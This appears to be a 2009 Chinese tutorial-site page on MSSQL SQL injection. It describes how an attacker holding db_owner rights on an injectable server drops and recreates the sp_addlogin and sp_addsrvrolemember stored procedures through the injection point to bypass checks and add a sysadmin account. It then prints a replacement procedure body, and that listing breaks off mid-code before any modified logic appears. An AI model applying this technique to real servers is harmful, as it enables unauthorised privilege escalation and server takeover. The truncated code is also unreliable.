繁體中文当前位置: 首页 > 图文教程 > 数据库 > MSSQL > SQL注入攻击通杀
- MSSQL
- 在SQL Server 2005数据库中更改数据架构
- 建立适当的索引是实现查询优化的首要前提
- 巧用一条SQL 实现其它进制到十进制转换
- 处理SQL Server 2000的命名实例和多实例
- 解析：怎样掌握SQL Server中的数据查询
- 教你轻松掌握常用的子句、关键词和函数
- 如何获取SQL Server数据库元数据的方法
- 分析SQL Server中数据库的快照工作原理
- 汇总数据库备份 还原 压缩与数据库转移的方法
- 完全讲解 使用MSCS建立SQL Server集群
- SQL Server 2005 内置工具建审查系统
- 在SQL Server计算机上运行病毒扫描软件
- 教你如何升级SQL Server数据库系统
- SQL Server中处理空值时涉及的三问题
- 教你为SQL Server数据库构造安全门
- 在SQL Server中编写通用数据访问方法
- 针对SQL Server中业务规则链接的分析
- 运行SQL Server的计算机间移动数据库
- 怎样在不同版本SQL Server中存储数据
- 认识那些被忽略的SQL Server注入技巧
MSSQL 中的 SQL注入攻击通杀
出处:互联网 整理: 软晨网（RuanChen.com） 发布: 2009-10-30 浏览: 113 ::
收藏到网摘: n/a
不知道大家看过这篇文章没有，可以在db_owner角色下添加SYSADMIN帐号，这招真狠啊，存在MSSQL注射漏洞的服务器又要遭殃了。方法主要是利用db_owner可以修改sp_addlogin和sp_addsrvrolemember这两个存储过程，饶过了验证部分。具体方法如下:先输入drop procedure sp_addlogin,然后在IE里面输入create procedure sp_addlogin
@loginame sysname
,@passwd sysname = Null
,@defdb ; ; sysname = ’master’ -- UNDONE: DEFAULT
CONFIGURABLE???
,@deflanguage sysname = Null
,@sid varbinary(16) = Null
,@encryptopt varchar(20) = Null
AS
-- SETUP RUNTIME OPTIONS / DECLARE VARIABLES --
set nocount on
Declare @ret int -- return value of sp call
-- DISALLOW USER TRANSACTION --
set implicit_transactions off
IF (@@trancount > 0)
begin
raiserror(15002,-1,-1,’sp_addlogin’)
return (1)
end
-- VALIDATE LOGIN NAME AS:
-- (1) Valid SQL Name (SQL LOGIN)
-- (2) No backslash (NT users only)
-- (3) Not a reserved login name
execute @ret = sp_validname @loginame
if (@ret <> 0)
return (1)
if (charindex(’\’, @loginame) > 0)
begin
raiserror(15006,-1,-1,@loginame)
return (1)
end
--Note: different case sa is allowed.
if (@loginame = ’sa’ or lower(@loginame) in (’public’))
begin
raiserror(15405, -1 ,-1, @loginame)
return (1)
end
-- LOGIN NAME MUST NOT ALREADY EXIST --
if exists(select * from master.dbo.syslogins where loginname =
@loginame)
begin
raiserror(15025,-1,-1,@loginame)
return (1)
end
-- VALIDATE DEFAULT DATABASE --
IF db_id(@defdb) IS NULL
begin
raiserror(15010,-1,-1,@defdb)
return (1)
end
-- VALIDATE DEFAULT LANGUAGE --
IF (@deflanguage IS NOT Null)
begin
Execute @ret = sp_validlang @deflanguage
IF (@ret <> 0)
return (1)
end
ELSE
begin
select @deflanguage = name from master.dbo.syslanguages
where langid = @@default_langid --server default
language
if @deflanguage is null
select @deflanguage = N’us_english’
end
-- VALIDATE SID IF GIVEN --
if ((@sid IS NOT Null) and (datalength(@sid) <> 16))
begin
raiserror(15419,-1,-1)
return (1)
end
else if @sid is null
select @sid = newid()
if (suser_sname(@sid) IS NOT Null)
begin
raiserror(15433,-1,-1)
return (1)
end
-- VALIDATE AND USE ENCRYPTION OPTION --
declare @xstatus smallint
select @xstatus = 2 -- access
if @encryptopt is null
select @passwd = pwdencrypt(@passwd)
else if @encryptopt = ’skip_encryption_old’
begin
select @xstatus = @xstatus&nb
评论 (0) All
